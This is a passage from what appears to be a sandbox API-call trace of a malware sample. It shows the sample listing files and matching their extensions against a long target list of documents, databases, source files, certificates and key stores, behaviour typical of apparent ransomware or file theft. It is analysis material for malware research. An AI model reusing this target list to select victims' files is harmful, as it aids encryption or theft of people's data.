lpString2="55_.WMF") returned -1 [0037.568] lstrlenW (lpString=".cpp") returned 4 [0037.568] lstrcmpiW (lpString1=".cpp", lpString2=".WMF") returned -1 [0037.568] lstrlenW (lpString=".cr2") returned 4 [0037.568] lstrcmpiW (lpString1=".cr2", lpString2=".WMF") returned -1 [0037.568] lstrlenW (lpString=".crt") returned 4 [0037.568] lstrcmpiW (lpString1=".crt", lpString2=".WMF") returned -1 [0037.568] lstrlenW (lpString=".crw") returned 4 [0037.568] lstrcmpiW (lpString1=".crw", lpString2=".WMF") returned -1 [0037.568] lstrlenW (lpString=".cs") returned 3 [0037.568] lstrcmpiW (lpString1=".cs", lpString2="WMF") returned -1 [0037.568] lstrlenW (lpString=".css") returned 4 [0037.568] lstrcmpiW (lpString1=".css", lpString2=".WMF") returned -1 [0037.568] lstrlenW (lpString=".csv") returned 4 [0037.569] lstrcmpiW (lpString1=".csv", lpString2=".WMF") returned -1 [0037.569] lstrlenW (lpString=".cub") returned 4 [0037.569] lstrcmpiW (lpString1=".cub", lpString2=".WMF") returned -1 [0037.569] lstrlenW (lpString=".dae") returned 4 [0037.569] lstrcmpiW (lpString1=".dae", lpString2=".WMF") returned -1 [0037.569] lstrlenW (lpString=".dat") returned 4 [0037.569] lstrcmpiW (lpString1=".dat", lpString2=".WMF") returned -1 [0037.569] lstrlenW (lpString=".db") returned 3 [0037.569] lstrcmpiW (lpString1=".db", lpString2="WMF") returned -1 [0037.569] lstrlenW (lpString=".dbf") returned 4 [0037.569] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0037.569] lstrlenW (lpString=".dbx") returned 4 [0037.569] lstrcmpiW (lpString1=".dbx", lpString2=".WMF") returned -1 [0037.569] lstrlenW (lpString=".dc3") returned 4 [0037.569] lstrcmpiW (lpString1=".dc3", lpString2=".WMF") returned -1 [0037.569] lstrlenW (lpString=".dcm") returned 4 [0037.569] lstrcmpiW (lpString1=".dcm", lpString2=".WMF") returned -1 [0037.569] lstrlenW (lpString=".dcr") returned 4 [0037.569] lstrcmpiW (lpString1=".dcr", lpString2=".WMF") returned -1 [0037.569] lstrlenW (lpString=".der") returned 4 [0037.569] lstrcmpiW (lpString1=".der", lpString2=".WMF") returned -1 [0037.569] lstrlenW (lpString=".dib") returned 4 [0037.569] lstrcmpiW (lpString1=".dib", lpString2=".WMF") returned -1 [0037.569] lstrlenW (lpString=".dic") returned 4 [0037.569] lstrcmpiW (lpString1=".dic", lpString2=".WMF") returned -1 [0037.569] lstrlenW (lpString=".dif") returned 4 [0037.569] lstrcmpiW (lpString1=".dif", lpString2=".WMF") returned -1 [0037.569] lstrlenW (lpString=".divx") returned 5 [0037.569] lstrcmpiW (lpString1=".divx", lpString2="_.WMF") returned -1 [0037.569] lstrlenW (lpString=".djvu") returned 5 [0037.569] lstrcmpiW (lpString1=".djvu", lpString2="_.WMF") returned -1 [0037.569] lstrlenW (lpString=".dng") returned 4 [0037.569] lstrcmpiW (lpString1=".dng", lpString2=".WMF") returned -1 [0037.569] lstrlenW (lpString=".doc") returned 4 [0037.569] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0037.570] lstrlenW (lpString=".docm") returned 5 [0037.570] lstrcmpiW (lpString1=".docm", lpString2="_.WMF") returned -1 [0037.570] lstrlenW (lpString=".docx") returned 5 [0037.570] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0037.570] lstrlenW (lpString=".dot") returned 4 [0037.570] lstrcmpiW (lpString1=".dot", lpString2=".WMF") returned -1 [0037.570] lstrlenW (lpString=".dotm") returned 5 [0037.570] lstrcmpiW (lpString1=".dotm", lpString2="_.WMF") returned -1 [0037.570] lstrlenW (lpString=".dotx") returned 5 [0037.570] lstrcmpiW (lpString1=".dotx", lpString2="_.WMF") returned -1 [0037.570] lstrlenW (lpString=".dpx") returned 4 [0037.570] lstrcmpiW (lpString1=".dpx", lpString2=".WMF") returned -1 [0037.570] lstrlenW (lpString=".dqy") returned 4 [0037.570] lstrcmpiW (lpString1=".dqy", lpString2=".WMF") returned -1 [0037.570] lstrlenW (lpString=".dsn") returned 4 [0037.570] lstrcmpiW (lpString1=".dsn", lpString2=".WMF") returned -1 [0037.570] lstrlenW (lpString=".dt") returned 3 [0037.570] lstrcmpiW (lpString1=".dt", lpString2="WMF") returned -1 [0037.570] lstrlenW (lpString=".dtd") returned 4 [0037.570] lstrcmpiW (lpString1=".dtd", lpString2=".WMF") returned -1 [0037.570] lstrlenW (lpString=".dwg") returned 4 [0037.570] lstrcmpiW (lpString1=".dwg", lpString2=".WMF") returned -1 [0037.570] lstrlenW (lpString=".dwt") returned 4 [0037.570] lstrcmpiW (lpString1=".dwt", lpString2=".WMF") returned -1 [0037.570] lstrlenW (lpString=".dx") returned 3 [0037.570] lstrcmpiW (lpString1=".dx", lpString2="WMF") returned -1 [0037.570] lstrlenW (lpString=".dxf") returned 4 [0037.570] lstrcmpiW (lpString1=".dxf", lpString2=".WMF") returned -1 [0037.570] lstrlenW (lpString=".edml") returned 5 [0037.570] lstrcmpiW (lpString1=".edml", lpString2="_.WMF") returned -1 [0037.570] lstrlenW (lpString=".efd") returned 4 [0037.570] lstrcmpiW (lpString1=".efd", lpString2=".WMF") returned -1 [0037.570] lstrlenW (lpString=".elf") returned 4 [0037.570] lstrcmpiW (lpString1=".elf", lpString2=".WMF") returned -1 [0037.570] lstrlenW (lpString=".emf") returned 4 [0037.570] lstrcmpiW (lpString1=".emf", lpString2=".WMF") returned -1 [0037.571] lstrlenW (lpString=".emz") returned 4 [0037.571] lstrcmpiW (lpString1=".emz", lpString2=".WMF") returned -1 [0037.571] lstrlenW (lpString=".epf") returned 4 [0037.571] lstrcmpiW (lpString1=".epf", lpString2=".WMF") returned -1 [0037.571] lstrlenW (lpString=".eps") returned 4 [0037.571] lstrcmpiW (lpString1=".eps", lpString2=".WMF") returned -1 [0037.571] lstrlenW (lpString=".epsf") returned 5 [0037.571] lstrcmpiW (lpString1=".epsf", lpString2="_.WMF") returned -1 [0037.571] lstrlenW (lpString=".epsp") returned 5 [0037.571] lstrcmpiW (lpString1=".epsp", lpString2="_.WMF") returned -1 [0037.571] lstrlenW (lpString=".erf") returned 4 [0037.571] lstrcmpiW (lpString1=".erf", lpString2=".WMF") returned -1 [0037.571] lstrlenW (lpString=".exr") returned 4 [0037.571] lstrcmpiW (lpString1=".exr", lpString2=".WMF") returned -1 [0037.571] lstrlenW (lpString=".f4v") returned 4 [0037.571] lstrcmpiW (lpString1=".f4v", lpString2=".WMF") returned -1 [0037.571] lstrlenW (lpString=".fido") returned 5 [0037.571] lstrcmpiW (lpString1=".fido", lpString2="_.WMF") returned -1 [0037.571] lstrlenW (lpString=".flm") returned 4 [0037.571] lstrcmpiW (lpString1=".flm", lpString2=".WMF") returned -1 [0037.571] lstrlenW (lpString=".flv") returned 4 [0037.571] lstrcmpiW (lpString1=".flv", lpString2=".WMF") returned -1 [0037.571] lstrlenW (lpString=".frm") returned 4 [0037.571] lstrcmpiW (lpString1=".frm", lpString2=".WMF") returned -1 [0037.571] lstrlenW (lpString=".fxg") returned 4 [0037.571] lstrcmpiW (lpString1=".fxg", lpString2=".WMF") returned -1 [0037.571] lstrlenW (lpString=".geo") returned 4 [0037.571] lstrcmpiW (lpString1=".geo", lpString2=".WMF") returned -1 [0037.571] lstrlenW (lpString=".gif") returned 4 [0037.571] lstrcmpiW (lpString1=".gif", lpString2=".WMF") returned -1 [0037.571] lstrlenW (lpString=".grs") returned 4 [0037.571] lstrcmpiW (lpString1=".grs", lpString2=".WMF") returned -1 [0037.571] lstrlenW (lpString=".gz") returned 3 [0037.571] lstrcmpiW (lpString1=".gz", lpString2="WMF") returned -1 [0037.571] lstrlenW (lpString=".h") returned 2 [0037.571] lstrcmpiW (lpString1=".h", lpString2="MF") returned -1 [0037.572] lstrlenW (lpString=".hdr") returned 4 [0037.572] lstrcmpiW (lpString1=".hdr", lpString2=".WMF") returned -1 [0037.572] lstrlenW (lpString=".hpp") returned 4 [0037.572] lstrcmpiW (lpString1=".hpp", lpString2=".WMF") returned -1 [0037.572] lstrlenW (lpString=".hta") returned 4 [0037.572] lstrcmpiW (lpString1=".hta", lpString2=".WMF") returned -1 [0037.572] lstrlenW (lpString=".htc") returned 4 [0037.572] lstrcmpiW (lpString1=".htc", lpString2=".WMF") returned -1 [0037.572] lstrlenW (lpString=".htm") returned 4 [0037.572] lstrcmpiW (lpString1=".htm", lpString2=".WMF") returned -1 [0037.572] lstrlenW (lpString=".html") returned 5 [0037.572] lstrcmpiW (lpString1=".html", lpString2="_.WMF") returned -1 [0037.572] lstrlenW (lpString=".icb") returned 4 [0037.572] lstrcmpiW (lpString1=".icb", lpString2=".WMF") returned -1 [0037.572] lstrlenW (lpString=".ics") returned 4 [0037.572] lstrcmpiW (lpString1=".ics", lpString2=".WMF") returned -1 [0037.572] lstrlenW (lpString=".iff") returned 4 [0037.572] lstrcmpiW (lpString1=".iff", lpString2=".WMF") returned -1 [0037.572] lstrlenW (lpString=".inc") returned 4 [0037.572] lstrcmpiW (lpString1=".inc", lpString2=".WMF") returned -1 [0037.572] lstrlenW (lpString=".indd") returned 5 [0037.572] lstrcmpiW (lpString1=".indd", lpString2="_.WMF") returned -1 [0037.572] lstrlenW (lpString=".ini") returned 4 [0037.572] lstrcmpiW (lpString1=".ini", lpString2=".WMF") returned -1 [0037.572] lstrlenW (lpString=".iqy") returned 4 [0037.572] lstrcmpiW (lpString1=".iqy", lpString2=".WMF") returned -1 [0037.572] lstrlenW (lpString=".j2c") returned 4 [0037.572] lstrcmpiW (lpString1=".j2c", lpString2=".WMF") returned -1 [0037.572] lstrlenW (lpString=".j2k") returned 4 [0037.572] lstrcmpiW (lpString1=".j2k", lpString2=".WMF") returned -1 [0037.572] lstrlenW (lpString=".java") returned 5 [0037.572] lstrcmpiW (lpString1=".java", lpString2="_.WMF") returned -1 [0037.572] lstrlenW (lpString=".jp2") returned 4 [0037.572] lstrcmpiW (lpString1=".jp2", lpString2=".WMF") returned -1 [0037.573] lstrlenW (lpString=".jpc") returned 4 [0037.573] lstrcmpiW (lpString1=".jpc", lpString2=".WMF") returned -1 [0037.573] lstrlenW (lpString=".jpe") returned 4 [0037.573] lstrcmpiW (lpString1=".jpe", lpString2=".WMF") returned -1 [0037.573] lstrlenW (lpString=".jpeg") returned 5 [0037.573] lstrcmpiW (lpString1=".jpeg", lpString2="_.WMF") returned -1 [0037.573] lstrlenW (lpString=".jpf") returned 4 [0037.573] lstrcmpiW (lpString1=".jpf", lpString2=".WMF") returned -1 [0037.573] lstrlenW (lpString=".jpg") returned 4 [0037.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0037.573] lstrlenW (lpString=".jpx") returned 4 [0037.573] lstrcmpiW (lpString1=".jpx", lpString2=".WMF") returned -1 [0037.573] lstrlenW (lpString=".js") returned 3 [0037.573] lstrcmpiW (lpString1=".js", lpString2="WMF") returned -1 [0037.573] lstrlenW (lpString=".jsf") returned 4 [0037.573] lstrcmpiW (lpString1=".jsf", lpString2=".WMF") returned -1 [0037.573] lstrlenW (lpString=".json") returned 5 [0037.573] lstrcmpiW (lpString1=".json", lpString2="_.WMF") returned -1 [0037.573] lstrlenW (lpString=".jsp") returned 4 [0037.573] lstrcmpiW (lpString1=".jsp", lpString2=".WMF") returned -1 [0037.573] lstrlenW (lpString=".kdc") returned 4 [0037.573] lstrcmpiW (lpString1=".kdc", lpString2=".WMF") returned -1 [0037.573] lstrlenW (lpString=".kmz") returned 4 [0037.573] lstrcmpiW (lpString1=".kmz", lpString2=".WMF") returned -1 [0037.573] lstrlenW (lpString=".kwm") returned 4 [0037.573] lstrcmpiW (lpString1=".kwm", lpString2=".WMF") returned -1 [0037.573] lstrlenW (lpString=".lasso") returned 6 [0037.573] lstrcmpiW (lpString1=".lasso", lpString2="5_.WMF") returned -1 [0037.573] lstrlenW (lpString=".lbi") returned 4 [0037.573] lstrcmpiW (lpString1=".lbi", lpString2=".WMF") returned -1 [0037.573] lstrlenW (lpString=".lgf") returned 4 [0037.573] lstrcmpiW (lpString1=".lgf", lpString2=".WMF") returned -1 [0037.573] lstrlenW (lpString=".lgp") returned 4 [0037.573] lstrcmpiW (lpString1=".lgp", lpString2=".WMF") returned -1 [0037.573] lstrlenW (lpString=".log") returned 4 [0037.574] lstrcmpiW (lpString1=".log", lpString2=".WMF") returned -1 [0037.574] lstrlenW (lpString=".m1v") returned 4 [0037.574] lstrcmpiW (lpString1=".m1v", lpString2=".WMF") returned -1 [0037.574] lstrlenW (lpString=".m4a") returned 4 [0037.574] lstrcmpiW (lpString1=".m4a", lpString2=".WMF") returned -1 [0037.574] lstrlenW (lpString=".m4v") returned 4 [0037.574] lstrcmpiW (lpString1=".m4v", lpString2=".WMF") returned -1 [0037.574] lstrlenW (lpString=".max") returned 4 [0037.574] lstrcmpiW (lpString1=".max", lpString2=".WMF") returned -1 [0037.574] lstrlenW (lpString=".md") returned 3 [0037.574] lstrcmpiW (lpString1=".md", lpString2="WMF") returned -1 [0037.574] lstrlenW (lpString=".mda") returned 4 [0037.574] lstrcmpiW (lpString1=".mda", lpString2=".WMF") returned -1 [0037.574] lstrlenW (lpString=".mdb") returned 4 [0037.574] lstrcmpiW (lpString1=".mdb", lpString2=".WMF") returned -1 [0037.574] lstrlenW (lpString=".mde") returned 4 [0037.574] lstrcmpiW (lpString1=".mde", lpString2=".WMF") returned -1 [0037.574] lstrlenW (lpString=".mdf") returned 4 [0037.574] lstrcmpiW (lpString1=".mdf", lpString2=".WMF") returned -1 [0037.574] lstrlenW (lpString=".mdw") returned 4 [0037.574] lstrcmpiW (lpString1=".mdw", lpString2=".WMF") returned -1 [0037.574] lstrlenW (lpString=".mef") returned 4 [0037.574] lstrcmpiW (lpString1=".mef", lpString2=".WMF") returned -1 [0037.574] lstrlenW (lpString=".mft") returned 4 [0037.574] lstrcmpiW (lpString1=".mft", lpString2=".WMF") returned -1 [0037.574] lstrlenW (lpString=".mfw") returned 4 [0037.574] lstrcmpiW (lpString1=".mfw", lpString2=".WMF") returned -1 [0037.574] lstrlenW (lpString=".mht") returned 4 [0037.574] lstrcmpiW (lpString1=".mht", lpString2=".WMF") returned -1 [0037.574] lstrlenW (lpString=".mhtml") returned 6 [0037.574] lstrcmpiW (lpString1=".mhtml", lpString2="5_.WMF") returned -1 [0037.574] lstrlenW (lpString=".mka") returned 4 [0037.574] lstrcmpiW (lpString1=".mka", lpString2=".WMF") returned -1 [0037.574] lstrlenW (lpString=".mkidx") returned 6 [0037.574] lstrcmpiW (lpString1=".mkidx", lpString2="5_.WMF") returned -1 [0037.574] lstrlenW (lpString=".mkv") returned 4 [0037.575] lstrcmpiW (lpString1=".mkv", lpString2=".WMF") returned -1 [0037.575] lstrlenW (lpString=".mos") returned 4 [0037.575] lstrcmpiW (lpString1=".mos", lpString2=".WMF") returned -1 [0037.575] lstrlenW (lpString=".mov") returned 4 [0037.575] lstrcmpiW (lpString1=".mov", lpString2=".WMF") returned -1 [0037.575] lstrlenW (lpString=".mp3") returned 4 [0037.575] lstrcmpiW (lpString1=".mp3", lpString2=".WMF") returned -1 [0037.575] lstrlenW (lpString=".mp4") returned 4 [0037.575] lstrcmpiW (lpString1=".mp4", lpString2=".WMF") returned -1 [0037.575] lstrlenW (lpString=".mpeg") returned 5 [0037.575] lstrcmpiW (lpString1=".mpeg", lpString2="_.WMF") returned -1 [0037.575] lstrlenW (lpString=".mpg") returned 4 [0037.575] lstrcmpiW (lpString1=".mpg", lpString2=".WMF") returned -1 [0037.575] lstrlenW (lpString=".mpv") returned 4 [0037.575] lstrcmpiW (lpString1=".mpv", lpString2=".WMF") returned -1 [0037.575] lstrlenW (lpString=".mrw") returned 4 [0037.575] lstrcmpiW (lpString1=".mrw", lpString2=".WMF") returned -1 [0037.575] lstrlenW (lpString=".msg") returned 4 [0037.575] lstrcmpiW (lpString1=".msg", lpString2=".WMF") returned -1 [0037.575] lstrlenW (lpString=".mxl") returned 4 [0037.575] lstrcmpiW (lpString1=".mxl", lpString2=".WMF") returned -1 [0037.575] lstrlenW (lpString=".myd") returned 4 [0037.575] lstrcmpiW (lpString1=".myd", lpString2=".WMF") returned -1 [0037.575] lstrlenW (lpString=".myi") returned 4 [0037.575] lstrcmpiW (lpString1=".myi", lpString2=".WMF") returned -1 [0037.575] lstrlenW (lpString=".nef") returned 4 [0037.575] lstrcmpiW (lpString1=".nef", lpString2=".WMF") returned -1 [0037.575] lstrlenW (lpString=".nrw") returned 4 [0037.575] lstrcmpiW (lpString1=".nrw", lpString2=".WMF") returned -1 [0037.575] lstrlenW (lpString=".obj") returned 4 [0037.575] lstrcmpiW (lpString1=".obj", lpString2=".WMF") returned -1 [0037.575] lstrlenW (lpString=".odb") returned 4 [0037.575] lstrcmpiW (lpString1=".odb", lpString2=".WMF") returned -1 [0037.575] lstrlenW (lpString=".odc") returned 4 [0037.575] lstrcmpiW (lpString1=".odc", lpString2=".WMF") returned -1 [0037.576] lstrlenW (lpString=".odm") returned 4 [0037.576] lstrcmpiW (lpString1=".odm", lpString2=".WMF") returned -1 [0037.576] lstrlenW (lpString=".odp") returned 4 [0037.576] lstrcmpiW (lpString1=".odp", lpString2=".WMF") returned -1 [0037.576] lstrlenW (lpString=".ods") returned 4 [0037.576] lstrcmpiW (lpString1=".ods", lpString2=".WMF") returned -1 [0037.576] lstrlenW (lpString=".oft") returned 4 [0037.576] lstrcmpiW (lpString1=".oft", lpString2=".WMF") returned -1 [0037.576] lstrlenW (lpString=".one") returned 4 [0037.576] lstrcmpiW (lpString1=".one", lpString2=".WMF") returned -1 [0037.576] lstrlenW (lpString=".onepkg") returned 7 [0037.576] lstrcmpiW (lpString1=".onepkg", lpString2="55_.WMF") returned -1 [0037.576] lstrlenW (lpString=".onetoc2") returned 8 [0037.576] lstrcmpiW (lpString1=".onetoc2", lpString2="155_.WMF") returned -1 [0037.576] lstrlenW (lpString=".opt") returned 4 [0037.576] lstrcmpiW (lpString1=".opt", lpString2=".WMF") returned -1 [0037.576] lstrlenW (lpString=".oqy") returned 4 [0037.576] lstrcmpiW (lpString1=".oqy", lpString2=".WMF") returned -1 [0037.576] lstrlenW (lpString=".orf") returned 4 [0037.576] lstrcmpiW (lpString1=".orf", lpString2=".WMF") returned -1 [0037.576] lstrlenW (lpString=".p12") returned 4 [0037.576] lstrcmpiW (lpString1=".p12", lpString2=".WMF") returned -1 [0037.576] lstrlenW (lpString=".p7b") returned 4 [0037.576] lstrcmpiW (lpString1=".p7b", lpString2=".WMF") returned -1 [0037.576] lstrlenW (lpString=".p7c") returned 4 [0037.576] lstrcmpiW (lpString1=".p7c", lpString2=".WMF") returned -1 [0037.576] lstrlenW (lpString=".pam") returned 4 [0037.576] lstrcmpiW (lpString1=".pam", lpString2=".WMF") returned -1 [0037.576] lstrlenW (lpString=".pbm") returned 4 [0037.576] lstrcmpiW (lpString1=".pbm", lpString2=".WMF") returned -1 [0037.576] lstrlenW (lpString=".pct") returned 4 [0037.576] lstrcmpiW (lpString1=".pct", lpString2=".WMF") returned -1 [0037.576] lstrlenW (lpString=".pcx") returned 4 [0037.576] lstrcmpiW (lpString1=".pcx", lpString2=".WMF") returned -1 [0037.577] lstrlenW (lpString=".pdd") returned 4 [0037.577] lstrcmpiW (lpString1=".pdd", lpString2=".WMF") returned -1 [0037.577] lstrlenW (lpString=".pdf") returned 4 [0037.577] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0037.577] lstrlenW (lpString=".pdp") returned 4 [0037.577] lstrcmpiW (lpString1=".pdp", lpString2=".WMF") returned -1 [0037.577] lstrlenW (lpString=".pef") returned 4 [0037.577] lstrcmpiW (lpString1=".pef", lpString2=".WMF") returned -1 [0037.577] lstrlenW (lpString=".pem") returned 4 [0037.577] lstrcmpiW (lpString1=".pem", lpString2=".WMF") returned -1 [0037.577] lstrlenW (lpString=".pff") returned 4 [0037.577] lstrcmpiW (lpString1=".pff", lpString2=".WMF") returned -1 [0037.577] lstrlenW (lpString=".pfm") returned 4 [0037.577] lstrcmpiW (lpString1=".pfm", lpString2=".WMF") returned -1 [0037.577] lstrlenW (lpString=".pfx") returned 4 [0037.577] lstrcmpiW (lpString1=".pfx", lpString2=".WMF") returned -1 [0037.577] lstrlenW (lpString=".pgm") returned 4 [0037.577] lstrcmpiW (lpString1=".pgm", lpString2=".WMF") returned -1 [0037.577] lstrlenW (lpString=".php") returned 4 [0037.577] lstrcmpiW (lpString1=".php", lpString2=".WMF") returned -1 [0037.577] lstrlenW (lpString=".php3") returned 5 [0037.577] lstrcmpiW (lpString1=".php3", lpString2="_.WMF") returned -1 [0037.577] lstrlenW (lpString=".php4") returned 5 [0037.577] lstrcmpiW (lpString1=".php4", lpString2="_.WMF") returned -1 [0037.577] lstrlenW (lpString=".php5") returned 5 [0037.577] lstrcmpiW (lpString1=".php5", lpString2="_.WMF") returned -1 [0037.577] lstrlenW (lpString=".phtml") returned 6 [0037.577] lstrcmpiW (lpString1=".phtml", lpString2="5_.WMF") returned -1 [0037.577] lstrlenW (lpString=".pict") returned 5 [0037.577] lstrcmpiW (lpString1=".pict", lpString2="_.WMF") returned -1 [0037.577] lstrlenW (lpString=".pl") returned 3 [0037.577] lstrcmpiW (lpString1=".pl", lpString2="WMF") returned -1 [0037.577] lstrlenW (lpString=".pls") returned 4 [0037.577] lstrcmpiW (lpString1=".pls", lpString2=".WMF") returned -1 [0037.577] lstrlenW (lpString=".pm") returned 3 [0037.577] lstrcmpiW (lpString1=".pm", lpString2="WMF") returned -1 [0037.578] lstrlenW (lpString=".png") returned 4 [0037.578] lstrcmpiW (lpString1=".png", lpString2=".WMF") returned -1 [0037.578] lstrlenW (lpString=".pnm") returned 4 [0037.578] lstrcmpiW (lpString1=".pnm", lpString2=".WMF") returned -1 [0037.578] lstrlenW (lpString=".pot") returned 4 [0037.578] lstrcmpiW (lpString1=".pot", lpString2=".WMF") returned -1 [0037.578] lstrlenW (lpString=".potm") returned 5 [0037.578] lstrcmpiW (lpString1=".potm", lpString2="_.WMF") returned -1 [0037.578] lstrlenW (lpString=".potx") returned 5 [0037.578] lstrcmpiW (lpString1=".potx", lpString2="_.WMF") returned -1 [0037.578] lstrlenW (lpString=".ppa") returned 4 [0037.578] lstrcmpiW (lpString1=".ppa", lpString2=".WMF") returned -1 [0037.578] lstrlenW (lpString=".ppam") returned 5 [0037.578] lstrcmpiW (lpString1=".ppam", lpString2="_.WMF") returned -1 [0037.578] lstrlenW (lpString=".ppm") returned 4 [0037.578] lstrcmpiW (lpString1=".ppm", lpString2=".WMF") returned -1 [0037.578] lstrlenW (lpString=".pps") returned 4 [0037.578] lstrcmpiW (lpString1=".pps", lpString2=".WMF") returned -1 [0037.578] lstrlenW (lpString=".ppsm") returned 5 [0037.578] lstrcmpiW (lpString1=".ppsm", lpString2="_.WMF") returned -1 [0037.578] lstrlenW (lpString=".ppt") returned 4 [0037.578] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0037.578] lstrlenW (lpString=".pptm") returned 5 [0037.578] lstrcmpiW (lpString1=".pptm", lpString2="_.WMF") returned -1 [0037.578] lstrlenW (lpString=".pptx") returned 5 [0037.578] lstrcmpiW (lpString1=".pptx", lpString2="_.WMF") returned -1 [0037.578] lstrlenW (lpString=".prn") returned 4 [0037.578] lstrcmpiW (lpString1=".prn", lpString2=".WMF") returned -1 [0037.578] lstrlenW (lpString=".ps") returned 3 [0037.578] lstrcmpiW (lpString1=".ps", lpString2="WMF") returned -1 [0037.578] lstrlenW (lpString=".psb") returned 4 [0037.578] lstrcmpiW (lpString1=".psb", lpString2=".WMF") returned -1 [0037.578] lstrlenW (lpString=".psd") returned 4 [0037.578] lstrcmpiW (lpString1=".psd", lpString2=".WMF") returned -1 [0037.578] lstrlenW (lpString=".pst") returned 4 [0037.579] lstrcmpiW (lpString1=".pst", lpString2=".WMF") returned -1 [0037.579] lstrlenW (lpString=".ptx") returned 4 [0037.579] lstrcmpiW (lpString1=".ptx", lpString2=".WMF") returned -1 [0037.579] lstrlenW (lpString=".pub") returned 4 [0037.579] lstrcmpiW (lpString1=".pub", lpString2=".WMF") returned -1 [0037.579] lstrlenW (lpString=".pwm") returned 4 [0037.579] lstrcmpiW (lpString1=".pwm", lpString2=".WMF") returned -1 [0037.579] lstrlenW (lpString=".pxr") returned 4 [0037.579] lstrcmpiW (lpString1=".pxr", lpString2=".WMF") returned -1 [0037.579] lstrlenW (lpString=".py") returned 3 [0037.579] lstrcmpiW (lpString1=".py", lpString2="WMF") returned -1 [0037.579] lstrlenW (lpString=".qt") returned 3 [0037.579] lstrcmpiW (lpString1=".qt", lpString2="WMF") returned -1 [0037.579] lstrlenW (lpString=".r3d") returned 4 [0037.579] lstrcmpiW (lpString1=".r3d", lpString2=".WMF") returned -1 [0037.579] lstrlenW (lpString=".raf") returned 4 [0037.579] lstrcmpiW (lpString1=".raf", lpString2=".WMF") returned -1 [0037.579] lstrlenW (lpString=".rar") returned 4 [0037.579] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0037.579] lstrlenW (lpString=".raw") returned 4 [0037.579] lstrcmpiW (lpString1=".raw", lpString2=".WMF") returned -1 [0037.836] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa69e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198234.WMF", cAlternateFileName="")) returned 1 [0037.836] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6f9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198372.WMF", cAlternateFileName="")) returned 1 [0037.836] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1925100, ftCreationTime.dwHighDateTime=0x1be3a08, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1925100, ftLastWriteTime.dwHighDateTime=0x1be3a08, nFileSizeHigh=0x0, nFileSizeLow=0x9d6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198377.WMF", cAlternateFileName="")) returned 1 [0037.836] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198447.WMF", cAlternateFileName="")) returned 1 [0037.837] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xae08, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198494.WMF", cAlternateFileName="")) returned 1 [0037.837] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198712.WMF", cAlternateFileName="")) returned 1 [0037.837] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: lpFindFileData=0x33df310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x714e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199279.WMF", cAlternateFileName="")) returned 1 [0037.837] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df310 | out: 